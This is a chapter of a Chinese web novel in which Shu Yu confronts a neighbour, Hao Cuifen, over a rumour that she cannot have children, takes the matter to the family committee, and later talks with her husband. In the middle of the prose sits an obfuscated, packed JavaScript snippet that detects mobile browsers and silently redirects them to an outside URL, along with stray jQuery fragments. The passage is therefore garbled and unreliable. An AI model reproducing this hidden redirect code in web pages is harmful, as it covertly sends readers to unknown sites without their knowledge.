许小荷偷偷看了舒瑜一眼,脸上露出尴尬的笑:“是啊,郝嫂子说她那天正好在医院听到的,说你来那个,痛得直不起腰,问题很严重,生不了了。” 舒瑜点了点头,淡淡道:“我知道了。” 见舒瑜信了,曹春梅狠狠松了口气。 她冷静下来之后,才觉得自己刚才简直是疯了! 无缘无故得罪舒瑜,她图什么? 厉团长多受上面的重视,谁不知道,而且看舒瑜现在这面色红润的模样,哪里有和厉团长不和的苗头? 人家穿的用的,比自己好多少都不知道! 曹春梅越想越后悔。 舒瑜没再理她,问了郝翠芬是哪家的,曹春梅忙不迭地说了。 “她是王营长家的,顺着前面那排走到头,第一家就是。” 舒瑜径直找了过去。 “谁啊?” 门开了,郝翠芬探出头来,看见门口站着的人,眼睛一下子瞪大,脸上飞快地闪过一丝慌乱。 她甚至不敢直视舒瑜的眼睛,强笑着问道:“是舒嫂子啊,有事吗?” 舒瑜站在门口,笑意不及眼底:“有没有事,你应该清楚吧?” 郝翠芬心底涌上一股不好的预感,她抓着门框,装傻道:“啊?什么?” 舒瑜不跟她绕弯子,直截了当:“我的谣言,是你开始传的?” 郝翠芬脸上再也挂不住笑,下意识装傻:“什么谣言?我、我不知道啊……” 舒瑜收了笑,看着她:“不用装傻,我只要求你一件事,在家属院的广播里当众向我道歉,澄清谣言。” 郝翠芬心里慌得不行,脑子乱成一团。 她只是说了自己听到的、看到的事,大家传成那样,她也没想到啊! 她又没说舒瑜一定不能生,只是说“可能”、“也许”,都是猜测而已! 她极力忽视自己心里那些见不得人的念头,却骗不了自己。 这世上怎么会有舒瑜这么好运的人? 死了爹妈和哥哥,还能嫁给前途无量的厉团长,关键人还对她那么好。 她总是去食堂买饭,时不时就骑着她那自行车去县城买东西,一买就是一大堆。 家里的地想种花,厉团长就帮她种,她偷偷去看过一回,那么大块地,种那些没用的花。 而她家呢,连种菜的地都不够用。 凭什么?凭什么舒瑜能过这样的日子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392580|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而她,刚开始生不出孩子被公婆嫌弃,好不容易怀孕了,生了个女儿,又和女儿一起被嫌弃。 郝翠芬自己经历过,她知道女人要是生育艰难会收到多大的嘲讽和恶意,最可怕的是你嫁的那个人也不会真在你这边为你说话。 所以,在听到护士谈起舒瑜痛经,严重宫寒,她心里又同情,又忍不住升起更大的恶意。 瞧瞧,好运的舒瑜,不也要倒霉了。 可事与愿违,她并没有听说厉团长和舒瑜吵架的消息,猜测是舒瑜瞒住了厉团长,便没忍住,和其他人说了这事…… 郝翠芬咬牙:“我真的不知道你在说什么!”她往后退了一步,“鹏”地一下把门关上了。 舒瑜站在门口,面对着紧闭的木门,眼神彻底冷下来,她转身回了家。 门内,郝翠芬靠在门板上,心慌得砰砰直跳,像是要从嗓子眼里蹦出来。 她快步走到桌边,抓起抹布开始擦桌子,擦了两下又去收拾柜子上的东西,手忙脚乱,脑子里却怎么也克制不住地去想舒瑜说的话。 当众道歉,那事情不就闹大了? 她男人要知道她得罪了厉团长家,会打死她的。 郝翠芬拽进手里的抹布,她心里还怀着一丝侥幸。 舒瑜应该不会闹大的,这都是小事,不就是被人说了两句闲话吗? 在村里的时候,大家谈别人闲话,不都是互骂几句就过去了? 她这样想着,手却一直抖。 舒瑜走在回家的路上,她没有怒到丧失理智的程度,更多的是烦躁。 只是这事不能就这么算了,不然一次又一次的,别人只会以为你好欺负。 既然找本人没用,她只能去找能处理这事的人。 家属院家委会负责人,是一团高政委的媳妇,田嫂子那天也来她家吃过饭,她们也算认识,毕竟她们两个的男人在部队里是搭档。 舒瑜找过去的时候,田嫂子家的小女儿正在院子,她蹲在地上拿根树枝画着什么。 “小芬,吃糖。”舒瑜蹲下来,从兜里摸出一块糖递过去,小女孩抬头看她一眼,怯生生地接了。 小芬细声细语道:“谢谢姐姐。”舒瑜的心都要化了。 “舒瑜?”田嫂子从屋里出来,看见她连忙迎上来,“小芬,要叫‘婶婶’。 小芬:“婶婶好。” 舒瑜:“小芬真乖。” “来来来,快进来坐。”田志兰招呼道。 舒瑜跟着她进了屋,坐下后也没绕弯子:“嫂子,我过来是有件事要麻烦你。” 她把事情原原本本说了一遍。 田嫂子听着,脸色渐渐凝重起来,家属院大家住在一块,总会有各种各样的矛盾,有些人喜欢聚在一起说闲话,她也管不了别人的嘴。 但传成这样,确实过了,严重了讲,万一厉团长当真了,不是破坏他们夫妻俩的关系吗? 虽然厉团长不是那样的人,可万一是别人遇到这样的事呢? “这事我会了解清楚情况,一定给你个交代。”田嫂子拍了拍舒瑜的手,“你放心,家属院不是能胡来的地方。” 舒瑜点点头:“那就麻烦嫂子了,我只要求郝翠芬当众给我道歉,澄清谣言。” 田嫂子表示理解,送她出门时又说了一遍:“你安心回去,这事我来办。” 晚上,舒瑜窝在厉关岳怀里,把白天的事又说了一遍,说到最后,她叹了口气,把脸埋在他胸口,闷闷道:“真烦人。” 厉关岳搂着她的肩膀,皱起眉:“我去找——” “不用。”舒瑜打断他,抬起头,“我已经找了田嫂子,先看家委会怎么处理吧。” 厉关岳:“好。” 舒瑜趴在他胸口,手指点了几下,又画起圈圈。 “五哥,你想要孩子吗?” 厉关岳垂眼看她。 “无所谓。”厉关岳道,“你不生,我们有明淮陪着,你要生,我就好好照顾你们三个。” 舒瑜笑起来,往他怀里又蹭了蹭:“我想要个女儿,今天看田嫂子家的囡囡,好可爱。” 女儿啊,要是像舒瑜,好像也不错。 厉关岳心里温柔地想。 “要女儿也不急,”他手掌贴在她背上,轻轻拍拍,“你还是得先养好身体。” 舒瑜“嗯”了一声,又皱起鼻子:“知道啦,我有在喝药,中药好苦啊。” 厉关岳搂着舒瑜摇了摇:“糖票还有吗?没有我去换。” “有的。”舒瑜又往他怀里缩了缩。 过了一会儿,她想到什么,抬起头,面上带着促狭的笑意说道:“五哥,你也要给力啊,努力给咱们生个女儿。” “以后能不能一举得女还得看你。” 厉关岳无奈地望着她。 这要他怎么努力? 他捏捏她的鼻子,纵容道:“行,我努力。” 舒瑜瓮声瓮气地笑起来,伸手去拍他的胳膊,闹了一会儿,她才消停了,窝在他怀里不动了。 不一会儿,舒瑜慢慢闭上眼睛,卷翘的睫毛投下一小片阴影。 他拉过被子,把她裹好,心头是无尽的怜惜。